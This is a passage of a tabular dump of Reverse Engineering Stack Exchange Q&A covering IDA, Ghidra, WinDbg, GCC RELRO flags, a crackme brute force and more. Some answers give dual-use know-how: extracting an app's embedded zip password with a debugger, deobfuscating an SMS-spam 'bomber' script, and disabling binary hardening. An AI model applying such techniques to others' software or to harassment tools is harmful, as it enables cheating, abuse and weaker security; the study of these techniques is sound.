Answer
stringlengths
38
29k
Id
stringlengths
1
5
CreationDate
stringlengths
23
23
Body
stringlengths
55
28.6k
Title
stringlengths
15
145
Tags
stringlengths
3
68
<p>Try “Load debug symbols” from the context menu in the “Modules” list.</p>
27622
2021-05-05T12:20:10.780
<p>I am debugging a program that I compiled.<br /> This program calls <code>SetWindowTextW</code>.<br /> When I am debugging it with IDA I can step into this function, but it doesn't recognize anything there:<br /> <a href="https://i.stack.imgur.com/53hHR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/53hHR.png" alt="enter image description here" /></a></p> <p>If I will load <code>user32.dll</code> (where the function is exported), I will see all the symbols and functions named, everything.</p> <p>Is it possible to load the <code>user32.dll</code> to a process that I am debugging, so I will be able to see what functions it calls.</p> <p>You can see the difference, in the left side is when I am debugging my program and access <code>user32.dll</code> and on the right side is when I debug it directly.</p> <p><a href="https://i.stack.imgur.com/WxKrP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WxKrP.png" alt="enter image description here" /></a></p> <p><strong>Solved (thanks to Igor):</strong><br /> <a href="https://i.stack.imgur.com/pbobm.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pbobm.png" alt="enter image description here" /></a></p>
How to load modules symbols to IDA while debugging a process
|ida|windows|debugging|
<p>I needed to put the cursor within the disassembly view (not HEX view), right-click on the disassembly view and then check the option again, it should be available.</p> <p><a href="https://reverseengineering.stackexchange.com/a/8364/18080">This answer</a> help me.</p> <p>Another thing,<br /> You can't trace if the instruction has breakpoint. You need to remove the breakpoint and then assign the trace.</p> <p>If you set a function to be traced, and it doesn't print anything, put the cursor on the desired function, on the menu press <code>Debugger -&gt; Tracing -&gt; Function tracing</code>. Try again.</p> <p>You can view all the traces in the breakpoint window by pressing <code>Ctrl+Alt+B</code>.</p>
27624
2021-05-05T13:39:02.627
<p>I added read/write trace to a program. I was able to record the trace with IDA for the first time.<br /> When I run it again, it didn't work.</p> <p>I tried to do what I did on the first time, adding the read/write trace, but it show it as gray. I ran <code>Clear trace</code> but it didn't help:<br /> <a href="https://i.stack.imgur.com/3dULg.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3dULg.png" alt="enter image description here" /></a></p>
Can't add tracing in IDA, showing it in gray
|ida|windows|debuggers|trace|
<p>Two options:</p> <ol> <li>at the <code>.set mips16</code> line, press <kbd>Alt-G</kbd>, choose mips16 and set the value to 0.<br /> <a href="https://i.stack.imgur.com/oaiqY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/oaiqY.png" alt="enter image description here" /></a></li> <li>Press <kbd>Ctrl-G</kbd> to display the list of segment register changepoints, pick the mips16 list and delete the wrong entries with value of 1. <a href="https://i.stack.imgur.com/39Wni.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/39Wni.png" alt="enter image description here" /></a></li> </ol> <p>Note: it's best that there are no existing instructions at the addresses where you change the mips16 pseudoregister value, so it is recommended to undefine those areas first then recreate the instructions in proper ISA.</p>
27632
2021-05-07T06:47:30.723
<p>While disassembling a mips binary, IDA Pro attempts to disassemble into <code>mips 16</code> mode, even though It's <code>mips 32</code> ISA.<br /> Below is that code snippet.</p> <pre><code>.text:XXXXXXXX .set nomips16 # &lt;= ?? .text:XXXXXXXX 3C .byte 0x3C .text:XXXXXXXX 02 .byte 2 .text:XXXXXXXX .set mips16 # &lt;= ?? .text:XXXXXXXX 80 .byte 0x80 .text:XXXXXXXX 87 .byte 0x87 .text:XXXXXXXX 8C .byte 0x8C .text:XXXXXXXX 42 .byte 0x42 ... </code></pre> <p>IDA arbitrarily set this as mips16, and repeatedly disassemble here as mips16.<br /> Which makes me crazy.</p> <p><em><strong>Question:</strong></em><br /> How to forcefully disassemble here as <code>mips 32</code> ISA?<br /> (Manually? or Automatically using IDA Plugins?)</p>
IDA Pro, How to forcefully disassemble "mips 32" instead of "mips 16"?
|ida|binary|mips|
<p>You're on the right track with replacing <code>exec</code> with <code>print</code>, you just didn't go deep enough.</p> <p>The file you posted is, effectively, 7 python commands each wrapped up in a bunch of obfuscation (not including the initial import statement). If you deobfuscate each command by printing the result, the first one results in an import statement and a set of 4 more obfuscated python instructions (the rest of the lines result in junk or <code>pass</code> statements, as far as I can tell).</p> <p>Now, if you do the same thing for the resulting 4 obfuscated python instructions from above, you get one more valid python instruction and 3 junk instructions. In this case, the third instruction was the one that gives valid code.</p> <p>If you take this code and run it, you end up with another import statement and 3 obfuscated instructions. Repeat the process and the second instruction will spit out the (mostly) deobfuscated code.</p> <p>It looks like it's meant to spam SMS messages or phone calls to Sri Lankan telephone numbers as a prank. I believe it came from <a href="https://github.com/Sl-Sanda-Ru/Sl-Bomber" rel="nofollow noreferrer">https://github.com/Sl-Sanda-Ru/Sl-Bomber</a> based on comments in the deobfuscated code. The commit history and some revisions to the README for the project seem to indicate that the author obfuscated the code because people were making trivial modifications and abusing it (go figure). If you want to see what it's doing, the commit history has deobfuscated versions of the older code; it doesn't look all that different from the deobfuscated code you posted.</p>
27635
2021-05-07T13:45:26.057
<p>How can I Deobfuscate this python code</p> <p><a href="https://gist.github.com/charindithjaindu/abd5dd2e04827e8818732664d514f4d3" rel="nofollow noreferrer">Link to code</a></p> <p>I tried to replace eval places by print. but it won't work and output is also obfuscated</p> <p>Head of the code looks like this <a href="https://i.stack.imgur.com/c8nhA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/c8nhA.png" alt="Head of the code looks like this" /></a></p> <p>can anyone please help me</p>
How can I reverse this python code (obfuscated by b64, gzip and many more)
|python|obfuscation|
<p>I think <a href="https://github.com/joxeankoret/diaphora" rel="nofollow noreferrer">Diaphora</a> supports cross architecture binary diffing so that could be an additional option to try.</p>
27640
2021-05-08T13:52:31.820
<p>I have two versions of an app: one version compiled for ARM64 iOS, and the other for ARM32 Android. I'm working on the ARM64 version, but it has almost all of its symbols stripped. The ARM32 version is not stripped at all, so has all of the symbol names left intact.</p> <p>Up to now I have been using two Binary Ninja tabs for each version of the game, and have found symbol names for the ARM64 version by finding the same function in the ARM32 tab and then transferring symbol names that I see. However, this is slow and annoying, so I've started looking for a possible way of matching up symbols by comparing the binaries. This sounds like a difficult problem to solve, and I would settle for even a partial job (such as a tool that only transfers things that it is certain about, which leaves me to decipher some of the more complicated parts).</p> <p>I think I'm being a bit hopeful here, but I figured it was worth asking just in case somebody has done this before.</p>
(Partial?) Automation of transferring symbol names between architectures
|symbols|
<p>Finally i found the passwords using a disassemble like multithr3at3d say.</p> <p>If anyone is interested on how i do:</p> <ul> <li>Download dnsSpy from <a href="https://github.com/dnSpy/dnSpy" rel="nofollow noreferrer">https://github.com/dnSpy/dnSpy</a></li> <li>Open the game binary and ionic.Zip.dll in dnsSpy</li> <li>Mark a breakpoint on ionic.zip on class ZipCrypto in method ForRead</li> <li>Start debugging (F5)</li> <li>When the game starts on debugging and the execution pause on breakpoint, check the name of the file on zipEntry e. The password is on var password.</li> </ul> <p>You can get the savegame password and the passwords for other files like ZXRules.dat. On ZXRules.dat you can change game unit parameters. Remember to zip the xml with same password.</p>
27641
2021-05-08T14:26:27.343
<p>I bought a game, &quot;They are billions&quot;, and I'm trying to edit a savegame on my singleplayer campaign to change some vars (cheating because im very bad player). But the file is a password protected zip.</p> <p>All i can saw is that the zip is AES protected.</p> <p>I have downloaded x64bg to try to debug the moment when the program accesses the file with a password, but the truth is that I am totally new to debuggers and it is the first time that I have used a debugger.</p> <p>Any idea on how can i get the password for the savegame file?</p> <p>My interest is mainly in learning how to do it rather than in obtaining the password itself.</p> <p>Thanks for all</p>
Get Zip password used by application
|debugging|
<p>The offsets are listed at the top of the function:</p> <p><a href="https://i.stack.imgur.com/YuXTt.png" rel="noreferrer"><img src="https://i.stack.imgur.com/YuXTt.png" alt="Ghidra Local Variables offsets" /></a></p> <p>You can also hover over the local variable name for a few seconds to see a popup with the offset.</p> <p>If you want to permanently disable the variable offset translation, uncheck <code>Markup Stack Variable References</code> under <code>Edit -&gt; Tool Options -&gt; Options -&gt; Listing Fields -&gt; Operands Fields</code>.</p>
27667
2021-05-16T05:30:45.627
<p>How to make ghidra display the actual offset from rbp in assembly? For the same program, ghidra shows <code>mov dword [rbp + local_c], edi</code> I want to see the actual offset from rbp instead of <code>local_c</code></p> <p>In assembly, the actual instruction is: <code>mov dword [rbp-0x04], edi</code></p> <p>so offset is <code>-0x04</code></p> <p><a href="https://i.stack.imgur.com/j760G.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/j760G.png" alt="enter image description here" /></a></p>
How to make ghidra display the real offset from rbp
|disassembly|ghidra|
<p>trying to tackle it with pencil and paper</p> <p>a common pattern pattern noticeable is<br /> (int)*(char *)(param_1 + x) which is equivalent to param_1[x] (unsigned char Array access)</p> <p>so if you pass an array like</p> <pre><code>char param_1[] ={ 0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf}; </code></pre> <p>then the function will multiply param_1[4] * param_1[0xf] and subtract param_1[0xd] or actually 4*0xf-0xd = 0x2f</p> <p>since we know it is a char so any of these values can be only with 0 to 255</p> <p>so the equation is a * b = 0x349f+c where a,b,c can only be between 0 and 255 or rather 1 and 255 as multiplication by 0 is 0</p> <p>simply brute forcing you have a possible 215 key space for next round</p> <pre><code>def brute1(x): for divisor in range(1, x + 1): rem = (x % divisor) quo = (x / divisor) if ( (rem == 0) and (quo &lt; 128) and (divisor&lt;255) ): print(&quot;a = %3d b = %3d c = %3d\t&quot; % (divisor,quo,((divisor*quo)-0x349f))) print (&quot;a = param_1[4] b = param_1[0xf] c = param_1[0xd]&quot;) for i in range(0x349f,(0x349f+0xff),1): brute1(i) </code></pre> <p>some possible chars</p> <pre><code>python verify.py | wc -l 216 python verify.py | head -n 5 a = param_1[4] b = param_1[0xf] c = param_1[0xd] a = 175 b = 77 c = 4 a = 245 b = 55 c = 4 a = 221 b = 61 c = 10 a = 107 b = 126 c = 11 </code></pre> <p>with this in hand you can possibly lift the function and dump it into a c maybe for testing a set of key lets say (55,245,4)</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; void verify1(unsigned char *param_1) { if ( (int)*(unsigned char *)(param_1 + 4) * (int)*(unsigned char *)(param_1 + 0xf) - (int)*(unsigned char *)(param_1 + 0xd) != 0x349f) { exit(-1); } return; } int main(void) { unsigned char param_1[] = {0, 0, 0, 0, 55, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 245}; verify1(param_1); printf(&quot;we passed verify1\n&quot;); } </code></pre> <p>compiling and executing</p> <pre><code>cl /Zi /W4 /analyze /Od /nologo verify.cpp /link /release verify.cpp verify.exe we passed verify1 </code></pre>
27674
2021-05-17T12:16:29.123
<p>In short, I have a code that gets an input via stdin. Once it has the input string in memory, it verifies its integrity by calling a function for every condition, and <code>exit</code>ing the program if those conditions are not met.</p> <p>There are 20 of those verifications, and I do not think it is efficient to reverse it manually considering the first is (according to Ghidra disassemblying), being <code>param1 = (long) input;</code> and <code>input</code> = the 32-byte array in which the input is stored,</p> <pre><code>void verify1(long param_1){ if ((int)*(char *)(param_1 + 4) * (int)*(char *)(param_1 + 0xf) - (int)*(char *)(param_1 + 0xd) != 0x349f) { exit(-1); } return; } </code></pre> <p>I think a program or plugin to automate this would be useful. However, I could not find anything useful at all.</p>
How to get the input necessary to get to the end
|binary-analysis|linux|c|ghidra|
<p>To enable full relro:</p> <pre><code>-Wl, -z,relro,-z,now </code></pre> <p>What does this do? - it provides <code>-z,relro,-z,now</code> flag to linker as an argument. This enables full relro (notice <code>-z,now</code> flag).</p> <p>Partial relro is enabled by default on modern gcc compilers.</p> <p>How to disable relro? Pass following flag</p> <pre><code>-Wl,-z,norelro </code></pre> <p>Difference between full and partial relro: partial relro makes partial .got section (non .plt) section read-only and changes the alignment order sections making <code>.got</code> section appear before and data sections (<code>.bss</code>, '.data') and makes , while full relro makes complete <code>.got</code> section read-only (including .got.plt) and also reorders sections like in partial relro (incurring startup overhead).</p>
27680
2021-05-18T11:13:54.407
<p>My doubt is how to compile the binary without <code>RELRO</code>? and why it is enabling FULL-RELRO when we are not providing any flags?</p> <p>This is the code.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int main(int argc, int *argv[]) { size_t *p = (size_t *) strtol(argv[1], NULL, 16); p[0] = 0xDEADBEEF; printf(&quot;RELRO: %p\n&quot;, p); return 0; } </code></pre> <p>While compiling the above code with the parameters:</p> <pre><code>$ gcc -g -Wl,-z,relro -o test test.c </code></pre> <p>And running the <code>checksec</code> on the generated binary:</p> <pre><code>RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols No 0 1 test </code></pre> <p>Compiling with the following command:</p> <pre><code>$ gcc -g -Wl,-z,relro,-z,now -o test test.c </code></pre> <p>And running the <code>checksec</code> on generated binary:</p> <pre><code>RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 71 Symbols No 0 1 test-full </code></pre> <p>While compiling with the command:</p> <pre><code>$ gcc -o test test.c </code></pre> <p>And running the <code>checksec</code> on the generated binary:</p> <pre><code>RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 66 Symbols No 0 1 test </code></pre>
How to disable relro while compilation?
|elf|compilers|gcc|security|
<p>I've further looked at this format and made a decoder here:</p> <p><a href="https://github.com/cr3ative/rcd_330g_logo_utilities/blob/master/ovg_to_png.py" rel="nofollow noreferrer">https://github.com/cr3ative/rcd_330g_logo_utilities/blob/master/ovg_to_png.py</a></p> <p>The <code>tag</code> byte Ian describes in the other answer is detailed here:</p> <p><a href="https://www.nxp.com.cn/docs/en/application-note/AN4339.pdf" rel="nofollow noreferrer">https://www.nxp.com.cn/docs/en/application-note/AN4339.pdf</a></p> <p><a href="https://i.stack.imgur.com/i28xL.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/i28xL.png" alt="enter image description here" /></a></p>
27688
2021-05-20T10:58:29.707
<p>I copy image files here from a linux based system which ends with .bin.</p> <p>Unfortunately I don't know how to open it. The goal is to convert images to this format later.</p> <p><strong>What I have already tried:</strong></p> <ul> <li>Open the File with a RAW image Viewer <em><strong>(was not successful)</strong></em>.</li> <li>looked at the files with the Hex Editor to find out information about the structure <em><strong>(was not successful)</strong></em>.</li> <li>to make sure that these are the images from the menu, I swapped 2 files with each other (swap the file name) <em><strong>(has worked)</strong></em>.</li> </ul> <p><em><strong>This is how it looks on the device:</strong></em></p> <p><a href="https://i.stack.imgur.com/N9kg3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/N9kg3.png" alt="enter image description here" /></a></p> <p><strong>I have uploaded the two files here.</strong></p> <p><a href="https://drive.google.com/file/d/1WXbuqT7B-_1OdHZjScmWMKHKxfEUzta7/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/1WXbuqT7B-_1OdHZjScmWMKHKxfEUzta7/view?usp=sharing</a> <a href="https://drive.google.com/file/d/1YN_TbwWevuNQ3_Ha6MikOA_5JX8h1Pu1/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/1YN_TbwWevuNQ3_Ha6MikOA_5JX8h1Pu1/view?usp=sharing</a></p> <p><em><strong>--UPDATE--</strong></em></p> <p><strong>//---------------------------------------------------------------//</strong></p> <p><em><strong>Here I have cloned some other flags from the device:</strong></em></p> <p>Espanol:</p> <p><a href="https://drive.google.com/file/d/18FE-nT7DMDmNvPtT3lMzARdjcUItpUSu/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/18FE-nT7DMDmNvPtT3lMzARdjcUItpUSu/view?usp=sharing</a></p> <p>English:</p> <p><a href="https://drive.google.com/file/d/1Qqr-ZKyT1M5ichLXBKRRBJzxaPDEpSGg/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/1Qqr-ZKyT1M5ichLXBKRRBJzxaPDEpSGg/view?usp=sharing</a></p> <p>Portugues:</p> <p><a href="https://drive.google.com/file/d/13DYM1-Di7bI_KXvT4Eo9zC6x-jIwX0jX/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/13DYM1-Di7bI_KXvT4Eo9zC6x-jIwX0jX/view?usp=sharing</a></p> <p><em><strong>Here also two random pictures of the GUI:</strong></em></p> <p><a href="https://drive.google.com/file/d/1oulgopsKGIkpUQ12_94twBaNlVkToKxI/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/1oulgopsKGIkpUQ12_94twBaNlVkToKxI/view?usp=sharing</a> <a href="https://drive.google.com/file/d/1E9Tx2S86tP2B_z84Fe_6LWO-RZxSEVtD/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/1E9Tx2S86tP2B_z84Fe_6LWO-RZxSEVtD/view?usp=sharing</a></p> <p>This should be these images (once highlighted and once normal):</p> <p><a href="https://i.stack.imgur.com/AZtaV.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/AZtaV.jpg" alt="Station Logo 01" /></a></p> <p><a href="https://i.stack.imgur.com/pkFAY.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pkFAY.jpg" alt="Station Logo 02" /></a></p> <p><strong>//---------------------------------------------------------------//</strong></p> <p><strong>Here are 2 copies of the 2 files from a hex editor</strong></p> <p><em>img_togglelanguage_ru_ovg.bin:</em></p> <pre><code>FF FF FF FF 00 FF FF FF FF 00 E2 FF FF FF 00 01 1A 1A 1A 2D 1A 1A 1A C3 99 1A 1A 1A FF 01 1A 1A 1A C0 1A 1A 1A 2D 88 FF FF FF 00 00 1A 1A 1A CF 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 00 1A 1A 1A D2 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 01 1A 1A 1A 39 1A 1A 1A D2 99 1A 1A 1A FF 01 1A 1A 1A C9 1A 1A 1A 2D FF FF FF FF 00 FF FF FF FF 00 E3 FF FF FF 00 </code></pre> <p><em>img_togglelanguage_de_ovg.bin:</em></p> <pre><code>FF FF FF FF 00 FF FF FF FF 00 E2 FF FF FF 00 01 1A 1A 1A 2D 1A 1A 1A C3 99 1A 1A 1A FF 01 1A 1A 1A C0 1A 1A 1A 2D 88 FF FF FF 00 00 1A 1A 1A CF 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 00 1A 1A 1A D2 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 01 1A 1A 1A 39 1A 1A 1A D2 99 1A 1A 1A FF 01 1A 1A 1A C9 1A 1A 1A 2D FF FF FF FF 00 FF FF FF FF 00 E3 FF FF FF 00 </code></pre> <p>Maybe someone knows more than me.</p>
Open unknown image format (probably a RAW image)
|binary-analysis|file-format|binary|binary-diagnosis|binary-editing|
<p>Take a look at <a href="https://github.com/x64dbg/x64dbgida" rel="nofollow noreferrer">x64dbgida</a>, this is a plugin for IDA Pro.</p>
27697
2021-05-21T13:46:55.557
<p>IDA has the option to use debuggers but the debuggers are quite limited. Is there a way that I can use to use x86dbg with IDA Pro?</p>
Is there a way to attach x86dbg with ida pro?
|ida|debugging|
<p>EPROCESS does not represent OBJECT_HEADER</p> <p>!process 0 0 notepad.exe provides you an EPROCESS</p> <p>I think object_header is not documented</p> <p>on x86 (win7 sp2) it was 0x18 bytes before the OBJECT</p> <p>the Typeindex field also has been repurposed if i am not mistaken in newer OS</p> <p>the following display is from a win7sp2 32bit vm</p> <pre><code>kd&gt; dt nt!_OBJECT_HEADER TypeIndex @$proc-0x18 +0x00c TypeIndex : 0x7 '' kd&gt; </code></pre> <p>using the type index and retrieving the ObjectType Name</p> <pre><code>kd&gt; ?? ((nt!_OBJECT_TYPE **) @@masm(nt!ObTypeIndexTable))[7]-&gt;Name struct _UNICODE_STRING &quot;Process&quot; +0x000 Length : 0xe +0x002 MaximumLength : 0x10 +0x004 Buffer : 0x89e04008 &quot;Process&quot; kd&gt; </code></pre> <p>some further type indexes example</p> <pre><code>kd&gt; .for (r $t0=3 ;@$t0&lt;18;r $t0=@$t0+1) { du @@c++(((nt!_OBJECT_TYPE **) @@masm(nt!ObTypeIndexTable))[@$t0]-&gt;Name.Buffer)} 89e01980 &quot;Directory&quot; 89e01940 &quot;SymbolicLink&quot; 89e01430 &quot;Token&quot; 89e01088 &quot;Job&quot; 89e04008 &quot;Process&quot; 89e04fd8 &quot;Thread&quot; 89e04f98 &quot;UserApcReserve&quot; 89e04f48 &quot;IoCompletionReserve&quot; 89e04960 &quot;DebugObject&quot; 89e08840 &quot;Event&quot; 89e040a0 &quot;EventPair&quot; 89e04070 &quot;Mutant&quot; 89e04c10 &quot;Callback&quot; 89e04e60 &quot;Semaphore&quot; 89e04770 &quot;Timer&quot; 89e04728 &quot;Profile&quot; 89e08ee8 &quot;KeyedEvent&quot; 89e09b18 &quot;WindowStation&quot; 89e092a8 &quot;Desktop&quot; 89e09b40 &quot;TpWorkerFactory&quot; 89e046e0 &quot;Adapter&quot; kd&gt; </code></pre>
27700
2021-05-22T05:42:48.073
<p>I try to extra the nt!_object_type of notepad.exe process. But seems like it's empty. Is it some process has no object type?</p> <p><a href="https://i.stack.imgur.com/5GKei.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/5GKei.png" alt="enter image description here" /></a></p> <p><strong>Correction for my screenshot above for using the EPROCESS address to extract TypeIndex instead of using the header of the process object.</strong></p> <p>This time I got the right, first I determine that the <code>TypeIndex</code> of process object belonging to the notepad is <code>0x98</code>.</p> <p>By plugging the value <code>0x98</code> into the <code>ObTypeIndexTable</code>, I am seeing empty structure.</p> <p>Any idea why? Below is the updated screenshot.</p> <p><a href="https://i.stack.imgur.com/J3Bpx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/J3Bpx.png" alt="enter image description here" /></a></p>
Why some process has empty nt!_object_type
|windows|
<p>as i commented in latest windows type index has been randomised</p> <p>it is a xor of the index with nt!obHeaderCookie and the second byte of OBJECT_HEADER Address</p> <p>see below</p> <pre><code>0: kd&gt; ?? (char *)@$proc-&gt;ImageFileName char * 0xffffa083`398ab4d0 &quot;conhost.exe&quot; 0: kd&gt; ?? ((nt!_object_header *) @@masm( @$proc - @@c++(#FIELD_OFFSET(nt!_OBJECT_HEADER , Body))))-&gt;TypeIndex unsigned char 0x58 'X' 0: kd&gt; ? ((@$proc - @@c++(#FIELD_OFFSET(nt!_OBJECT_HEADER, Body))) &gt;&gt; 8 &amp; 0xff) ^ by(nt!ObHeaderCookie) Evaluate expression: 95 = 00000000`0000005f 0: kd&gt; ? 0x58 ^ 0x5f Evaluate expression: 7 = 00000000`00000007 &lt;&lt; Process 0: kd&gt; </code></pre>
27703
2021-05-22T16:59:04.837
<p>I try to extract the object type of notepad.exe in windbg but the nt!_object_type is showing it as Desktop object instead of Process object.</p> <p>Any idea why is it so?</p> <pre><code>4: kd&gt; !process 0 0 notepad.exe PROCESS ffffc80bc92d7080 SessionId: 1 Cid: 07c0 Peb: 4c99481000 ParentCid: 2b48 DirBase: 147205000 ObjectTable: ffffa30d80327d40 HandleCount: 233. Image: notepad.exe 4: kd&gt; !object ffffc80bc92d7080 Object: ffffc80bc92d7080 Type: (ffffc80bb02a9220) Process ObjectHeader: ffffc80bc92d7050 (new version) HandleCount: 6 PointerCount: 196490 4: kd&gt; ?? (nt!_object_header*)0xffffc80bc92d7050 struct _OBJECT_HEADER * 0xffffc80b`c92d7050 +0x000 PointerCount : 0n196490 +0x008 HandleCount : 0n6 +0x008 NextToFree : 0x00000000`00000006 Void +0x010 Lock : _EX_PUSH_LOCK +0x018 TypeIndex : 0x19 '' +0x019 TraceFlags : 0 '' +0x019 DbgRefTrace : 0y0 +0x019 DbgTracePermanent : 0y0 +0x01a InfoMask : 0x88 '' +0x01b Flags : 0 '' +0x01b NewObject : 0y0 +0x01b KernelObject : 0y0 +0x01b KernelOnlyAccess : 0y0 +0x01b ExclusiveObject : 0y0 +0x01b PermanentObject : 0y0 +0x01b DefaultSecurityQuota : 0y0 +0x01b SingleHandleEntry : 0y0 +0x01b DeletedInline : 0y0 +0x01c Reserved : 0 +0x020 ObjectCreateInfo : 0xffffc80b`ba32dc40 _OBJECT_CREATE_INFORMATION +0x020 QuotaBlockCharged : 0xffffc80b`ba32dc40 Void +0x028 SecurityDescriptor : 0xffffa30d`7cd0d369 Void +0x030 Body : _QUAD 4: kd&gt; ?? ((nt!_object_header*)0xffffc80bc92d7050)-&gt;TypeIndex unsigned char 0x19 '' 4: kd&gt; ?? ((nt!_object_type**)@@(nt!ObTypeIndexTable))[((nt!_object_header*)0xffffc80bc92d7050)-&gt;TypeIndex] struct _OBJECT_TYPE * 0xffffc80b`b02d3980 +0x000 TypeList : _LIST_ENTRY [ 0xffffc80b`b02d3980 - 0xffffc80b`b02d3980 ] +0x010 Name : _UNICODE_STRING &quot;Desktop&quot; +0x020 DefaultObject : (null) +0x028 Index : 0x19 '' +0x02c TotalNumberOfObjects : 0xc +0x030 TotalNumberOfHandles : 0xf7 +0x034 HighWaterNumberOfObjects : 0xd +0x038 HighWaterNumberOfHandles : 0xff +0x040 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x0b8 TypeLock : _EX_PUSH_LOCK +0x0c0 Key : 0x6b736544 +0x0c8 CallbackList : _LIST_ENTRY [ 0xffffc80b`b02d3a48 - 0xffffc80b`b02d3a48 ] </code></pre>
Why is process object is shown as desktop object in nt!_object_type
|windows|windbg|
<p>procmon can help in locating an entry point or a point of ingress</p> <p>start procmon</p> <p>remove all filters</p> <p>enable capturing</p> <p>try typing something like &quot;turbox the t&quot; in the start menu</p> <p>stop capturing</p> <p>go to tools-&gt;file summary-&gt;extension tab and expand the wildcard (*) entry</p> <p>you may notice this file has been searched on the PATH paths</p> <p>click one entry and you may see the relevant searches over the<br /> whole time period between capture enable and capture disable</p> <p><a href="https://i.stack.imgur.com/eSB6m.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/eSB6m.png" alt="enter image description here" /></a></p> <p>as you can see in the image above the 6 captures that pertain to search in<br /> c:\windows\system32 folder</p> <p>double clicking the entry will yield the searches that span 2 seconds of interval as below</p> <p><a href="https://i.stack.imgur.com/U9PGs.png" rel="nofollow noreferrer"><img 